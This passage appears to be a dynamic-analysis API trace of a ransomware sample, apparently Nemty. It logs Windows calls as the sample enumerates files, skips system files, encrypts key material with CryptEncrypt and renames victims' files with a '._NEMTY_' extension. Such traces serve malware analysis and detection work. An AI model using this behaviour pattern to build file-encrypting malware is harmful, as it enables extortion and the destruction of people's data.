lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0104.502] Sleep (dwMilliseconds=0x5) [0104.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1ef5fd0, dwHighDateTime=0x1d561e7)) [0104.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1ef5fd0, dwHighDateTime=0x1d561e7)) [0104.502] GetLastError () returned 0x5 [0104.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.502] GetLastError () returned 0x5 [0104.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.502] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.502] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.503] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94248 [0104.503] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94248, pcchString=0x653ef9c | out: pszString="kzfmcFyEsxDnE7q16QHO6Ds4qpegb68tQktf2dy9aRiOc+hjNJy4sxWYzqipO4WR\r\nc0n/JkbbHPZKhiAjBAbQ6e43mBxKaRjLiTaJKiOfKRzTlMBu0sJtACfbq7YbbCPG\r\nuprgMoSSmTh11Nxo0ijuf2o6qCVHrlWJu4PsYvTd9TqA9rprEtAVTInGQnIjWYEW\r\nVK2OdAQvkrCtAQz+uxI4waRH7iuk/V2v0mK3QNc74HzMlyLa35t/Jiqxi/QhRol+\r\net8RSHl1Iyvy8rdyZ6oM45WzIt2QdaCDCfBPoWaCCp/ZcSN+5eKwQd7Z3splNbJ6\r\ne8c+adPd6mKqzOlEALl7ww==\r\n", pcchString=0x653ef9c) returned 1 [0104.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94248 [0104.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.503] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.504] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94248, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.617] CloseHandle (hObject=0xffffffff) returned 0 [0104.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0104.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0104.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0104.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png._nemty_kgobjgd_")) returned 0 [0104.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0104.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.619] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="...") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="windows") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="$RECYCLE.BIN") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="rsa") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="NTDETECT.COM") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="ntldr") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="MSDOS.SYS") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="IO.SYS") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="boot.ini") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="boot.ini") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="ntuser.dat") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="desktop.ini") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="CONFIG.SYS") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="RECYCLER") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="BOOTSECT.BAK") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="bootmgr") returned 1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="programdata") returned -1 [0104.619] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="appdata") returned 1 [0104.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.jpg", lpUsedDefaultChar=0x0) returned 10 [0104.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.jpg", lpUsedDefaultChar=0x0) returned 10 [0104.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.jpg", lpUsedDefaultChar=0x0) returned 10 [0104.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0104.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_48.jpg", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_48.jpg", lpUsedDefaultChar=0x0) returned 10 [0104.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0104.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0104.620] Sleep (dwMilliseconds=0x5) [0104.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2026ad0, dwHighDateTime=0x1d561e7)) [0104.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2026ad0, dwHighDateTime=0x1d561e7)) [0104.629] GetLastError () returned 0x5 [0104.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.629] GetLastError () returned 0x5 [0104.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.629] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.629] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.630] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0104.630] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Ka0FmfzrhTjwy8U66rGilQOBhzfephk8iD1ugB4lvbxe23zVRl5yvJUMKwXUPDto\r\n6u2YHHWNr5CGj9cUTCWMBzTE5ZgmtDmafmQsogD5bHzMk95WovPKtuRNvLQsv7hq\r\npkFW1CP25eYyShISSbYnjhevK7A8Jd/dO4sYbsbIs26JmR3REUaxp33obUo67Q+j\r\nSCWlKBoy07Ukl+Q0BhAnhgXoB+J8re8x2ckMNiiHT+RksFIxzptbD8Ph1pKfGO5i\r\nOhtnmMbZkKAY7Vq5k2qdA3W9bahAPEw8ixENUk3Osksnl5FtYkQU+ic7NtJjhOVK\r\nKoE/X2AqpjFDiRu4gkxGRQ==\r\n", pcchString=0x653ef9c) returned 1 [0104.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0104.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.630] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media 